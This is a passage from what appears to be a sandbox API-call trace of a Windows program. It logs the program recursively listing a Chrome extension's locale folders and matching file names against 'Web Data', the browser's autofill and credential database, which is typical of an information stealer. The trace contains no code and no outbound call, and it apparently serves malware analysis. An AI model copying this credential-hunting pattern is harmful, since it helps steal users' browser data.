Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.290] lstrlenA (lpString="fil") returned 3 [0056.290] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.290] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.290] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil" [0056.290] LocalFree (hMem=0x2daca0) returned 0x0 [0056.290] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil") returned 134 [0056.290] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil") returned 134 [0056.290] lstrlenA (lpString="\\*.*") returned 4 [0056.290] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.290] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil" [0056.290] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*" [0056.290] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.290] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.290] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.290] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.290] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.291] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.291] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.291] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.291] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.291] LocalFree (hMem=0x2daec0) returned 0x0 [0056.291] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.291] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.291] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.291] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.291] lstrlenA (lpString="\\") returned 1 [0056.291] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.291] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.291] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.291] lstrlenA (lpString="fr") returned 2 [0056.291] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.291] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.291] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr" [0056.291] LocalFree (hMem=0x2daca0) returned 0x0 [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr") returned 133 [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr") returned 133 [0056.291] lstrlenA (lpString="\\*.*") returned 4 [0056.291] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.291] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr" [0056.291] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*" [0056.291] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.291] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.291] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.291] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.291] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.291] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.291] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.291] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.291] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.291] LocalFree (hMem=0x2daec0) returned 0x0 [0056.291] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.291] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.291] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.291] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.291] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.291] lstrlenA (lpString="\\") returned 1 [0056.291] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.291] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.291] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.292] lstrlenA (lpString="he") returned 2 [0056.292] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.292] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.292] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he" [0056.292] LocalFree (hMem=0x2daca0) returned 0x0 [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he") returned 133 [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he") returned 133 [0056.292] lstrlenA (lpString="\\*.*") returned 4 [0056.292] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.292] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he" [0056.292] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*" [0056.292] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.292] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.292] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.292] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.292] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.292] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.292] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.292] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.292] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.292] LocalFree (hMem=0x2daec0) returned 0x0 [0056.292] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.292] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.292] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.292] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.292] lstrlenA (lpString="\\") returned 1 [0056.292] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.292] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.292] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.292] lstrlenA (lpString="hi") returned 2 [0056.292] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.292] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.292] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi" [0056.292] LocalFree (hMem=0x2daca0) returned 0x0 [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi") returned 133 [0056.292] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi") returned 133 [0056.293] lstrlenA (lpString="\\*.*") returned 4 [0056.293] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.293] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi" [0056.293] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*" [0056.293] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.293] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.293] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.293] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.293] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.293] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.293] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.293] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.293] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.293] LocalFree (hMem=0x2daec0) returned 0x0 [0056.293] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.293] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.293] lstrcmpiA (lpString1=".", lpString2="hr") returned -1 [0056.293] lstrcmpiA (lpString1="..", lpString2="hr") returned -1 [0056.293] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.293] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.293] lstrlenA (lpString="\\") returned 1 [0056.293] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.293] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.293] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.293] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.293] lstrlenA (lpString="hr") returned 2 [0056.293] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.293] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 